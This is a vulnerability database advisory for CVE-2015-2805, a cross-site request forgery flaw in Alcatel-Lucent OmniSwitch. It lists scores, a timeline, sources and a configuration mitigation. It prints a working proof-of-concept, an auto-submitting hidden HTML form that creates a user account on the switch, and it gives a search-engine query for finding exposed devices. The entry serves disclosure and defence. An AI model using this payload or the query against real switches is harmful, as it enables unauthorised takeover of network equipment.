Alcatel-Lucent OmniSwitch sec_asa_users_local_db_add.html cross-site request forgery
| CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
|---|---|---|
| 4.2 | $0-$5k | 0.00 |
Summary
A vulnerability has been found in Alcatel-Lucent OmniSwitch and classified as problematic. The impacted element is an unknown function of the file /sec/content/sec_asa_users_local_db_add.html. This manipulation causes cross-site request forgery. This vulnerability is handled as CVE-2015-2805. The attack can be initiated remotely. Additionally, an exploit exists. It is advisable to modify the configuration settings.
Details
A vulnerability was found in Alcatel-Lucent OmniSwitch (the affected version unknown). It has been declared as problematic. Affected by this vulnerability is an unknown part of the file /sec/content/sec_asa_users_local_db_add.html. The manipulation with an unknown input leads to a cross-site request forgery vulnerability. The CWE definition for the vulnerability is CWE-352. The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. As an impact it is known to affect integrity.
The bug was discovered 03/16/2015. The weakness was released 06/10/2015 by RedTeam Pentesting with RedTeam Pentesting GmbH as File 132236 (Packetstorm). The advisory is shared at packetstormsecurity.com. This vulnerability is known as CVE-2015-2805 since 03/30/2015. The attack can be launched remotely. The exploitation doesn't need any form of authentication. It demands that the victim is doing some kind of user interaction. Technical details and also a public exploit are known.
It is possible to download the exploit at exploit-db.com. It is declared as highly functional. The vulnerability was handled as a non-public zero-day exploit for at least 86 days. During that time the estimated underground price was around $0-$5k. By approaching the search of inurl:sec/content/sec_asa_users_local_db_add.html it is possible to find vulnerable targets with Google Hacking. The code used by the exploit is:
<html>
<head>
<title>Alcatel-Lucent OmniSwitch 6450 create user via CSRF</title>
</head>
<body>
<form action="http://192.0.2.1/sec/content/sec_asa_users_local_db_add.html"
method="POST" id="CSRF" style="visibility:hidden">
<input type="hidden" name="EmWeb_ns:mip:2.T1:I1" value="attacker" />
<input type="hidden" name="EmWeb_ns:mip:244.T1:O1" value="secret" />
<input type="hidden" name="EmWeb_ns:mip:244.T1:O2" value="-1" />
<input type="hidden" name="EmWeb_ns:mip:244.T1:O3" value="" />
<input type="hidden" name="EmWeb_ns:mip:244.T1:O4" value="1" />
<input type="hidden" name="EmWeb_ns:mip:244.T1:O5" value="4" />
</form>
<script>
document.getElementById("CSRF").submit();
</script>
</body>
</html> It is possible to mitigate the problem by applying the configuration setting ip service http admin-state disable.
The vulnerability is also documented in the databases at X-Force (103749), Exploit-DB (37261), SecurityFocus (BID 75121†), SecurityTracker (ID 1032544†) and Vulnerability Center (SBV-51706†). Additional details are provided at seclists.org. Entry connected to this vulnerability is available at VDB-75842. Several companies clearly confirm that VulDB is the primary source for best vulnerability data.
Product
Vendor
Name
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔍VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 4.3VulDB Meta Temp Score: 4.2
VulDB Base Score: 4.3
VulDB Temp Score: 4.2
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
|---|---|---|---|---|---|
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
NVD Base Score: 🔍
Exploiting
Class: Cross-site request forgeryCWE: CWE-352 / CWE-862 / CWE-863
CAPEC: 🔍
ATT&CK: 🔍
Physical: No
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Highly functional
Download: 🔍
Google Hack: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
| 0-Day | Unlock | Unlock | Unlock | Unlock |
|---|---|---|---|---|
| Today | Unlock | Unlock | Unlock | Unlock |
Exploit-DB: 🔍
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: ConfigStatus: 🔍
0-Day Time: 🔍
Config: ip service http admin-state disable
Timeline
03/16/2015 🔍03/30/2015 🔍
04/01/2015 🔍
04/02/2015 🔍
06/10/2015 🔍
06/10/2015 🔍
06/10/2015 🔍
06/10/2015 🔍
06/11/2015 🔍
06/16/2015 🔍
08/02/2015 🔍
07/25/2024 🔍
Sources
Advisory: File 132236Researcher: RedTeam Pentesting
Organization: RedTeam Pentesting GmbH
Status: Confirmed
CVE: CVE-2015-2805 (🔍)
GCVE (CVE): GCVE-0-2015-2805
GCVE (VulDB): GCVE-100-75841
X-Force: 103749 - Alcatel-Lucent OmniSwitch cross-site request forgery
SecurityFocus: 75121 - Multiple Alcatel-Lucent OmniSwitch Products CVE-2015-2805 Cross Site Request Forgery Vulnerability
SecurityTracker: 1032544
Vulnerability Center: 51706 - Alcatel-Lucent OmniSwitch AOS Remote CSRF Vulnerability in sec_asa_users_local_db_add.html, Medium
scip Labs: https://www.scip.ch/en/?labs.20161013
Misc.: 🔍
See also: 🔍
Entry
Created: 06/11/2015 11:12Updated: 07/25/2024 05:38
Changes: 06/11/2015 11:12 (67), 09/23/2018 08:49 (10), 05/20/2022 23:04 (3), 07/25/2024 05:38 (15)
Complete: 🔍
Cache ID: 216:884:103
Several companies clearly confirm that VulDB is the primary source for best vulnerability data.
No comments yet. Languages: en.
Please log in to comment.